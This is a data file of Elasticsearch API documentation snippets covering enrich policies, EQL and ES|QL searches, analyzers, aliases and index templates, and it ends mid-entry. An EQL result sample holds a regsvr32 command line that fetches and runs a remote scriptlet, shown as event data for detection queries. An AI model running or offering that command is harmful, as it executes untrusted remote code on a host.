{"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":124},"digest":"8684589e31d96ab229e8c4feb4d704bb","lang":"console","found":["ruby"],"source":"GET /_enrich/policy/my-policy,other-policy"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":132},"digest":"dd12cbd93f07b82b092542e097512e6b","lang":"console-result","found":[],"source":"{\n \"policies\": [\n {\n \"config\": {\n \"match\": {\n \"name\": \"my-policy\",\n \"indices\": [ \"users\" ],\n \"match_field\": \"email\",\n \"enrich_fields\": [\n \"first_name\",\n \"last_name\",\n \"city\",\n \"zip\",\n \"state\"\n ]\n }\n }\n },\n {\n \"config\": {\n \"match\": {\n \"name\": \"other-policy\",\n \"indices\": [ \"users\" ],\n \"match_field\": \"email\",\n \"enrich_fields\": [\n \"first_name\",\n \"last_name\",\n \"city\",\n \"zip\",\n \"state\"\n ]\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":176},"digest":"c97fd95ebdcf56cc973582e37f732ed2","lang":"console","found":["ruby"],"source":"GET /_enrich/policy"}, {"source_location":{"file":"ingest/apis/enrich/get-enrich-policy.asciidoc","line":184},"digest":"dd12cbd93f07b82b092542e097512e6b","lang":"console-result","found":[],"source":"{\n \"policies\": [\n {\n \"config\": {\n \"match\": {\n \"name\": \"my-policy\",\n \"indices\": [ \"users\" ],\n \"match_field\": \"email\",\n \"enrich_fields\": [\n \"first_name\",\n \"last_name\",\n \"city\",\n \"zip\",\n \"state\"\n ]\n }\n }\n },\n {\n \"config\": {\n \"match\": {\n \"name\": \"other-policy\",\n \"indices\": [ \"users\" ],\n \"match_field\": \"email\",\n \"enrich_fields\": [\n \"first_name\",\n \"last_name\",\n \"city\",\n \"zip\",\n \"state\"\n ]\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/enrich/execute-enrich-policy.asciidoc","line":39},"digest":"c8e2109b19d50467ab83a40006462e9f","lang":"console","found":["ruby"],"source":"PUT /_enrich/policy/my-policy/_execute?wait_for_completion=false"}, {"source_location":{"file":"ingest/apis/enrich/enrich-stats.asciidoc","line":13},"digest":"84e2cf7417c9e0c9e6f3c23031001440","lang":"console","found":["ruby"],"source":"GET /_enrich/_stats"}, {"source_location":{"file":"ingest/apis/enrich/enrich-stats.asciidoc","line":123},"digest":"84e2cf7417c9e0c9e6f3c23031001440","lang":"console","found":["ruby"],"source":"GET /_enrich/_stats"}, {"source_location":{"file":"ingest/apis/enrich/enrich-stats.asciidoc","line":131},"digest":"389801a4c4a66fcb2a2856679a71679c","lang":"console-result","found":[],"source":"{\n \"executing_policies\": [\n {\n \"name\": \"my-policy\",\n \"task\": {\n \"id\": 124,\n \"type\": \"direct\",\n \"action\": \"cluster:admin/xpack/enrich/execute\",\n \"start_time_in_millis\": 1458585884904,\n \"running_time_in_nanos\": 47402,\n \"cancellable\": false,\n \"parent_task_id\": \"oTUltX4IQMOUUVeiohTt8A:123\",\n \"headers\": {\n \"X-Opaque-Id\": \"123456\"\n }\n }\n }\n ],\n \"coordinator_stats\": [\n {\n \"node_id\": \"1sFM8cmSROZYhPxVsiWew\",\n \"queue_size\": 0,\n \"remote_requests_current\": 0,\n \"remote_requests_total\": 0,\n \"executed_searches_total\": 0\n }\n ],\n \"cache_stats\": [\n {\n \"node_id\": \"1sFM8cmSROZYhPxVsiWew\",\n \"count\": 0,\n \"hits\": 0,\n \"misses\": 0,\n \"evictions\": 0\n }\n ]\n}"}, {"source_location":{"file":"eql/delete-async-eql-search-api.asciidoc","line":14},"digest":"26d3ab748a855eb383e992eb1ff79662","lang":"console","found":["ruby"],"source":"DELETE /_eql/search/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"eql/eql-search-api.asciidoc","line":24},"digest":"b839f79a5d58506baed5714f1876ab55","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql-search-api.asciidoc","line":533},"digest":"ec0e50f78390b8622cef4e0b0cd45967","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where (process.name == \"cmd.exe\" and process.pid != 2013)\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql-search-api.asciidoc","line":553},"digest":"a6b7a8fa78199f14791c301b00526599","lang":"console-result","found":[],"source":"{\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 6,\n \"timed_out\": false,\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"babI3XMBI9IjHuIqU0S_\",\n \"_source\": {\n \"@timestamp\": \"2099-12-06T11:04:05.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"edwCRnyD\",\n \"sequence\": 1\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"cmd.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"b6bI3XMBI9IjHuIqU0S_\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:06:07.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"cMyt5SZ2\",\n \"sequence\": 3\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"cmd.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql-search-api.asciidoc","line":631},"digest":"8141b60ad245ece2ff5e8d0817400ee5","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence by process.pid\n [ file where file.name == \"cmd.exe\" and process.pid != 2013 ]\n [ process where stringContains(process.executable, \"regsvr32\") ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql-search-api.asciidoc","line":648},"digest":"40bcab67e5d3ff2cb572f99159349638","lang":"console-result","found":[],"source":"{\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 6,\n \"timed_out\": false,\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"sequences\": [\n {\n \"join_keys\": [\n 2012\n ],\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"AtOJ4UjUBAAx3XR5kcCM\",\n \"_source\": {\n \"@timestamp\": \"2099-12-06T11:04:07.000Z\",\n \"event\": {\n \"category\": \"file\",\n \"id\": \"dGCHwoeS\",\n \"sequence\": 2\n },\n \"file\": {\n \"accessed\": \"2099-12-07T11:07:08.000Z\",\n \"name\": \"cmd.exe\",\n \"path\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"type\": \"file\",\n \"size\": 16384\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"cmd.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:09.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"aR3NWVOs\",\n \"sequence\": 4\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n }\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/get-async-eql-search-api.asciidoc","line":14},"digest":"d5ead6aacbfbedc8396f87bb34acc880","lang":"console","found":["ruby"],"source":"GET /_eql/search/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"eql/get-async-eql-status-api.asciidoc","line":18},"digest":"604da59fe41160efa10a846a9dacc07a","lang":"console","found":["ruby"],"source":"GET /_eql/search/status/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"eql/get-async-eql-status-api.asciidoc","line":83},"digest":"88cecae3f0363fc186d955dd8616b5d4","lang":"console","found":["ruby"],"source":"GET /_eql/search/status/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?keep_alive=5d"}, {"source_location":{"file":"eql/get-async-eql-status-api.asciidoc","line":91},"digest":"1dfe66740e32be3f2c200b391619ed2a","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_running\" : true,\n \"is_partial\" : true,\n \"start_time_in_millis\" : 1611690235000,\n \"expiration_time_in_millis\" : 1611690295000\n\n}"}, {"source_location":{"file":"eql/get-async-eql-status-api.asciidoc","line":108},"digest":"05bca8a950838286f1b2b0b51c51eb13","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_running\" : false,\n \"is_partial\" : false,\n \"expiration_time_in_millis\" : 1611690295000,\n \"completion_status\" : 200 <1>\n}"}, {"source_location":{"file":"esql/esql-query-api.asciidoc","line":10},"digest":"dc867585506af0c86336369a1ea39b99","lang":"console","found":[],"source":"POST /_query\n{\n \"query\": \"\"\"\n FROM library\n | EVAL year = DATE_TRUNC(1 YEARS, release_date)\n | STATS MAX(page_count) BY year\n | SORT year\n | LIMIT 5\n \"\"\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-async-query-api.asciidoc","line":17},"digest":"56c706cfb32f548c63744af3e3bdc95b","lang":"console","found":[],"source":"POST /_query/async\n{\n \"query\": \"\"\"\n FROM library\n | EVAL year = DATE_TRUNC(1 YEARS, release_date)\n | STATS MAX(page_count) BY year\n | SORT year\n | LIMIT 5\n \"\"\",\n \"wait_for_completion_timeout\": \"2s\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-async-query-api.asciidoc","line":45},"digest":"629d8404571b200cd16ac40ba40b1167","lang":"console-result","found":[],"source":"{\n \"id\": \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_running\": true\n}"}, {"source_location":{"file":"esql/esql-async-query-api.asciidoc","line":57},"digest":"40e357182857594f7cd6adc266fda532","lang":"console-result","found":[],"source":"{\n \"is_running\": false,\n \"columns\": ...\n}"}, {"source_location":{"file":"esql/esql-async-query-get-api.asciidoc","line":11},"digest":"405511f7c1f12cc0a227b4563fe7b2e2","lang":"console","found":[],"source":"GET /_query/async/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"esql/esql-async-query-delete-api.asciidoc","line":12},"digest":"6539a04aac4d43e6ce4a769fe8cdf2d8","lang":"console","found":[],"source":"DELETE /query/async/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"features/apis/get-features-api.asciidoc","line":12},"digest":"64c572abc23394a77b6cca0b5368ee1d","lang":"console","found":["ruby"],"source":"GET /_features"}, {"source_location":{"file":"features/apis/get-features-api.asciidoc","line":42},"digest":"d71cea00ebf0e0d97651e2843a79d5f8","lang":"console-result","found":[],"source":"{\n \"features\": [\n {\n \"name\": \"tasks\",\n \"description\": \"Manages task results\"\n },\n {\n \"name\": \"kibana\",\n \"description\": \"Manages Kibana configuration and reports\"\n }\n ]\n}"}, {"source_location":{"file":"features/apis/reset-features-api.asciidoc","line":14},"digest":"d7141bd4d0db964f5cc4a872ad79dce9","lang":"console","found":["ruby"],"source":"POST /_features/_reset"}, {"source_location":{"file":"features/apis/reset-features-api.asciidoc","line":40},"digest":"8f19b61ec63fe2754b54460fade9dc32","lang":"console-result","found":[],"source":"{\n \"features\" : [\n {\n \"feature_name\" : \"security\",\n \"status\" : \"SUCCESS\"\n },\n {\n \"feature_name\" : \"tasks\",\n \"status\" : \"SUCCESS\"\n }\n ]\n}"}, {"source_location":{"file":"graph/explore.asciidoc","line":204},"digest":"ff7b81fa96c3b994efa3dee230512291","lang":"console","found":[],"source":"POST clicklogs/_graph/explore\n{\n \"query\": { <1>\n \"match\": {\n \"query.raw\": \"midi\"\n }\n },\n \"vertices\": [ <2>\n {\n \"field\": \"product\"\n }\n ],\n \"connections\": { <3>\n \"vertices\": [\n {\n \"field\": \"query.raw\"\n }\n ]\n }\n}"}, {"source_location":{"file":"graph/explore.asciidoc","line":309},"digest":"88554b79dba8fd79991855a692b69ff9","lang":"console","found":[],"source":"POST clicklogs/_graph/explore\n{\n \"query\": {\n \"match\": {\n \"query.raw\": \"midi\"\n }\n },\n \"controls\": {\n \"use_significance\": false, <1>\n \"sample_size\": 2000, <2>\n \"timeout\": 2000, <3>\n \"sample_diversity\": { <4>\n \"field\": \"category.raw\",\n \"max_docs_per_value\": 500\n }\n },\n \"vertices\": [\n {\n \"field\": \"product\",\n \"size\": 5, <5>\n \"min_doc_count\": 10, <6>\n \"shard_min_doc_count\": 3 <7>\n }\n ],\n \"connections\": {\n \"query\": { <8>\n \"bool\": {\n \"filter\": [\n {\n \"range\": {\n \"query_time\": {\n \"gte\": \"2015-10-01 00:00:00\"\n }\n }\n }\n ]\n }\n },\n \"vertices\": [\n {\n \"field\": \"query.raw\",\n \"size\": 5,\n \"min_doc_count\": 10,\n \"shard_min_doc_count\": 3\n }\n ]\n }\n}"}, {"source_location":{"file":"graph/explore.asciidoc","line":396},"digest":"fa82d86a046d67366cfe9ce65535e433","lang":"console","found":[],"source":"POST clicklogs/_graph/explore\n{\n \"vertices\": [\n {\n \"field\": \"product\",\n \"include\": [ \"1854873\" ] <1>\n }\n ],\n \"connections\": {\n \"vertices\": [\n {\n \"field\": \"query.raw\",\n \"exclude\": [ <2>\n \"midi keyboard\",\n \"midi\",\n \"synth\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"indices/alias-exists.asciidoc","line":10},"digest":"5b281956e35a26e734c482b42b356c0d","lang":"console","found":["ruby"],"source":"HEAD _alias/my-alias"}, {"source_location":{"file":"indices/aliases.asciidoc","line":10},"digest":"5d03bb385904d20c5323885706738459","lang":"console","found":["python","ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"my-data-stream\",\n \"alias\": \"my-alias\"\n }\n }\n ]\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":11},"digest":"fa42ae3bf6a300420cd0f77ba006458a","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"analyzer\" : \"standard\",\n \"text\" : \"Quick Brown Foxes!\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":143},"digest":"76dbdd0b2bd48c3c6b1a8d81e23bafd6","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"analyzer\" : \"standard\",\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":157},"digest":"fd9b668eeb1f117950bd4991c7c03fb1","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"analyzer\" : \"standard\",\n \"text\" : [\"this is a test\", \"the second text\"]\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":173},"digest":"ef33b3b373f7040b874146599db5d557","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"keyword\",\n \"filter\" : [\"lowercase\"],\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":183},"digest":"dc8c94c9bef1f879282caea5c406f36e","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"keyword\",\n \"filter\" : [\"lowercase\"],\n \"char_filter\" : [\"html_strip\"],\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":196},"digest":"22dde5fe7ac5d85d52115641a68b3c55","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\"lowercase\", {\"type\": \"stop\", \"stopwords\": [\"a\", \"is\", \"this\"]}],\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":211},"digest":"3951d7fcd7f849fa278daf342872125a","lang":"console","found":["ruby"],"source":"GET /analyze_sample/_analyze\n{\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":224},"digest":"71fa652ddea811eb3c8bf8c5db21e549","lang":"console","found":["ruby"],"source":"GET /analyze_sample/_analyze\n{\n \"analyzer\" : \"whitespace\",\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":239},"digest":"de2f59887737de3a27716177b60393a2","lang":"console","found":["ruby"],"source":"GET /analyze_sample/_analyze\n{\n \"field\" : \"obj1.field1\",\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":257},"digest":"49d87c2eb7314ed34221c5fb4f21dfcc","lang":"console","found":["ruby"],"source":"GET /analyze_sample/_analyze\n{\n \"normalizer\" : \"my_normalizer\",\n \"text\" : \"BaR\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":269},"digest":"15a34bfe0ef8ef6333c8c7b55c011e5d","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"filter\" : [\"lowercase\"],\n \"text\" : \"BaR\"\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":286},"digest":"89f8eac24f3ec6a7668d580aaf0eeefa","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"snowball\"],\n \"text\" : \"detailed output\",\n \"explain\" : true,\n \"attributes\" : [\"keyword\"] <1>\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":302},"digest":"cf3af9502f758de0682176adb30e7128","lang":"console-result","found":[],"source":"{\n \"detail\" : {\n \"custom_analyzer\" : true,\n \"charfilters\" : [ ],\n \"tokenizer\" : {\n \"name\" : \"standard\",\n \"tokens\" : [ {\n \"token\" : \"detailed\",\n \"start_offset\" : 0,\n \"end_offset\" : 8,\n \"type\" : \"\",\n \"position\" : 0\n }, {\n \"token\" : \"output\",\n \"start_offset\" : 9,\n \"end_offset\" : 15,\n \"type\" : \"\",\n \"position\" : 1\n } ]\n },\n \"tokenfilters\" : [ {\n \"name\" : \"snowball\",\n \"tokens\" : [ {\n \"token\" : \"detail\",\n \"start_offset\" : 0,\n \"end_offset\" : 8,\n \"type\" : \"\",\n \"position\" : 0,\n \"keyword\" : false <1>\n }, {\n \"token\" : \"output\",\n \"start_offset\" : 9,\n \"end_offset\" : 15,\n \"type\" : \"\",\n \"position\" : 1,\n \"keyword\" : false <1>\n } ]\n } ]\n }\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":361},"digest":"0957bbd535f58c97b12ffba90813d64c","lang":"console","found":["ruby"],"source":"PUT /analyze_sample\n{\n \"settings\" : {\n \"index.analyze.max_token_count\" : 20000\n }\n}"}, {"source_location":{"file":"indices/analyze.asciidoc","line":372},"digest":"3951d7fcd7f849fa278daf342872125a","lang":"console","found":["ruby"],"source":"GET /analyze_sample/_analyze\n{\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"indices/diskusage.asciidoc","line":15},"digest":"db8710a9793ae0817a45892d33468160","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_disk_usage?run_expensive_tasks=true"}, {"source_location":{"file":"indices/diskusage.asciidoc","line":69},"digest":"db8710a9793ae0817a45892d33468160","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_disk_usage?run_expensive_tasks=true"}, {"source_location":{"file":"indices/clearcache.asciidoc","line":11},"digest":"ce0c3d7330727f7673cf68fc9a1cfb86","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_cache/clear"}, {"source_location":{"file":"indices/clearcache.asciidoc","line":110},"digest":"49f4d2a461536d150e16b1e0a3148678","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_cache/clear?fielddata=true <1>\nPOST /my-index-000001/_cache/clear?query=true <2>\nPOST /my-index-000001/_cache/clear?request=true <3>"}, {"source_location":{"file":"indices/clearcache.asciidoc","line":130},"digest":"4cdbd53f08df4bf66e2a47c0f1fcb3f8","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_cache/clear?fields=foo,bar <1>"}, {"source_location":{"file":"indices/clearcache.asciidoc","line":142},"digest":"f43ec4041e3b72bbde063452990bfc4b","lang":"console","found":["ruby"],"source":"POST /my-index-000001,my-index-000002/_cache/clear"}, {"source_location":{"file":"indices/clearcache.asciidoc","line":152},"digest":"c4a1d03dcfb82913d0724a42b0a89f20","lang":"console","found":["ruby"],"source":"POST /_cache/clear"}, {"source_location":{"file":"indices/clone-index.asciidoc","line":10},"digest":"77e3dcd87d2b2c8e6ec842462b02df1f","lang":"console","found":[],"source":"POST /my-index-000001/_clone/cloned-my-index-000001"}, {"source_location":{"file":"indices/clone-index.asciidoc","line":39},"digest":"89d2a3748dc14c6d5d4c6f94b9b03938","lang":"console","found":[],"source":"PUT /my_source_index/_block/write"}, {"source_location":{"file":"indices/clone-index.asciidoc","line":91},"digest":"190a21e32db2125ddaea0f634e126a84","lang":"console","found":["ruby"],"source":"POST /my_source_index/_clone/my_target_index"}, {"source_location":{"file":"indices/clone-index.asciidoc","line":117},"digest":"81612c2537386e031b7eb604f6756a71","lang":"console","found":["ruby"],"source":"POST /my_source_index/_clone/my_target_index\n{\n \"settings\": {\n \"index.number_of_shards\": 5 <1>\n },\n \"aliases\": {\n \"my_search_indices\": {}\n }\n}"}, {"source_location":{"file":"indices/close.asciidoc","line":10},"digest":"59b8b9555f4aa30bc4613f819e9fc8f0","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_close"}, {"source_location":{"file":"indices/close.asciidoc","line":72},"digest":"59b8b9555f4aa30bc4613f819e9fc8f0","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_close"}, {"source_location":{"file":"indices/close.asciidoc","line":80},"digest":"172a6e991fa9b190bf6e3b0fe513a9cc","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"shards_acknowledged\": true,\n \"indices\": {\n \"my-index-000001\": {\n \"closed\": true\n }\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":10},"digest":"60f889fbed5df3185444f7015b48ed76","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001"}, {"source_location":{"file":"indices/create-index.asciidoc","line":130},"digest":"63cc960215ae83b359c12df3c0993bfa","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"number_of_shards\": 3, <1>\n \"number_of_replicas\": 2 <2>\n }\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":148},"digest":"a9fe70387d9c96a07830e1859c57efbb","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"number_of_shards\": 3,\n \"number_of_replicas\": 2\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":172},"digest":"934aa38c3adcc4cf74ea40cd8736876c","lang":"console","found":["python","ruby","go"],"source":"PUT /test\n{\n \"settings\": {\n \"number_of_shards\": 1\n },\n \"mappings\": {\n \"properties\": {\n \"field1\": { \"type\": \"text\" }\n }\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":192},"digest":"e84e23232c7ecc8d6377ec2c16a60269","lang":"console","found":["python","ruby"],"source":"PUT /test\n{\n \"aliases\": {\n \"alias_1\": {},\n \"alias_2\": {\n \"filter\": {\n \"term\": { \"user.id\": \"kimchy\" }\n },\n \"routing\": \"shard-1\"\n }\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":210},"digest":"ab8b4537fad80107bc88f633d4039a52","lang":"console","found":["python","ruby"],"source":"PUT /logs\n{\n \"aliases\": {\n \"\": {}\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":227},"digest":"cccdfed2384a7202b718bc57d7a50d24","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"shards_acknowledged\": true,\n \"index\": \"logs\"\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":251},"digest":"de876505acc75d371d1f6f484c449197","lang":"console","found":["python","ruby","go"],"source":"PUT /test\n{\n \"settings\": {\n \"index.write.wait_for_active_shards\": \"2\"\n }\n}"}, {"source_location":{"file":"indices/create-index.asciidoc","line":264},"digest":"fabe14480624a99e8ee42c7338672058","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT /test?wait_for_active_shards=2"}, {"source_location":{"file":"indices/add-alias.asciidoc","line":10},"digest":"114d470e752efa9672ca68d7290fada8","lang":"console","found":["ruby"],"source":"PUT my-data-stream/_alias/my-alias"}, {"source_location":{"file":"indices/put-component-template.asciidoc","line":13},"digest":"e784fc00894635470adfd78a0c46b427","lang":"console","found":["ruby"],"source":"PUT _component_template/template_1\n{\n \"template\": {\n \"settings\": {\n \"number_of_shards\": 1\n },\n \"mappings\": {\n \"_source\": {\n \"enabled\": false\n },\n \"properties\": {\n \"host_name\": {\n \"type\": \"keyword\"\n },\n \"created_at\": {\n \"type\": \"date\",\n \"format\": \"EEE MMM dd HH:mm:ss Z yyyy\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-component-template.asciidoc","line":186},"digest":"b583bf8d3a2f49d633aa2cfed5606418","lang":"console","found":["ruby"],"source":"PUT _component_template/template_1\n{\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"aliases\" : {\n \"alias1\" : {},\n \"alias2\" : {\n \"filter\" : {\n \"term\" : {\"user.id\" : \"kimchy\" }\n },\n \"routing\" : \"shard-1\"\n },\n \"{index}-alias\" : {} <1>\n }\n }\n}"}, {"source_location":{"file":"indices/put-component-template.asciidoc","line":226},"digest":"c6339d09f85000a6432304b0ec63b8f6","lang":"console","found":["ruby"],"source":"PUT /_component_template/template_1\n{\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1\n }\n },\n \"version\": 123\n}"}, {"source_location":{"file":"indices/put-component-template.asciidoc","line":252},"digest":"5b2a13366bd4e1ab4b25d04d360570dc","lang":"console","found":["ruby"],"source":"PUT /_component_template/template_1\n{\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1\n }\n },\n \"_meta\": {\n \"description\": \"set number of shards to one\",\n \"serialization\": {\n \"class\": \"MyComponentTemplate\",\n \"id\": 10\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":12},"digest":"73ecdaeca5885a88f9a4273a462196d0","lang":"console","found":["ruby"],"source":"PUT /_index_template/template_1\n{\n \"index_patterns\" : [\"te*\"],\n \"priority\" : 1,\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 2\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":186},"digest":"59a85bb92eb8ae2c7ce91e520885a209","lang":"console","found":[],"source":"PUT _index_template/template_1\n{\n \"index_patterns\" : [\"te*\"],\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"aliases\" : {\n \"alias1\" : {},\n \"alias2\" : {\n \"filter\" : {\n \"term\" : {\"user.id\" : \"kimchy\" }\n },\n \"routing\" : \"shard-1\"\n },\n \"{index}-alias\" : {} <1>\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":218},"digest":"62083da06c2cd4b4b62290eda1ec93e0","lang":"console","found":[],"source":"PUT /_index_template/template_1\n{\n \"index_patterns\" : [\"t*\"],\n \"priority\" : 0,\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1,\n \"number_of_replicas\": 0\n },\n \"mappings\" : {\n \"_source\" : { \"enabled\" : false }\n }\n }\n}\n\nPUT /_index_template/template_2\n{\n \"index_patterns\" : [\"te*\"],\n \"priority\" : 1,\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 2\n },\n \"mappings\" : {\n \"_source\" : { \"enabled\" : true }\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":268},"digest":"9138550002cb26ab64918cce427963b8","lang":"console","found":["ruby"],"source":"PUT /_index_template/template_1\n{\n \"index_patterns\" : [\"foo\", \"bar\"],\n \"priority\" : 0,\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 1\n }\n },\n \"version\": 123\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":296},"digest":"0d8063b484a18f8672fb5ed8712c5c97","lang":"console","found":["ruby"],"source":"PUT /_index_template/template_1\n{\n \"index_patterns\": [\"foo\", \"bar\"],\n \"template\": {\n \"settings\" : {\n \"number_of_shards\" : 3\n }\n },\n \"_meta\": {\n \"description\": \"set number of shards to three\",\n \"serialization\": {\n \"class\": \"MyIndexTemplate\",\n \"id\": 17\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":324},"digest":"196aed02b11def364bab84e455c1a073","lang":"console","found":["ruby"],"source":"PUT /_index_template/template_1\n{\n \"index_patterns\": [\"logs-*\"],\n 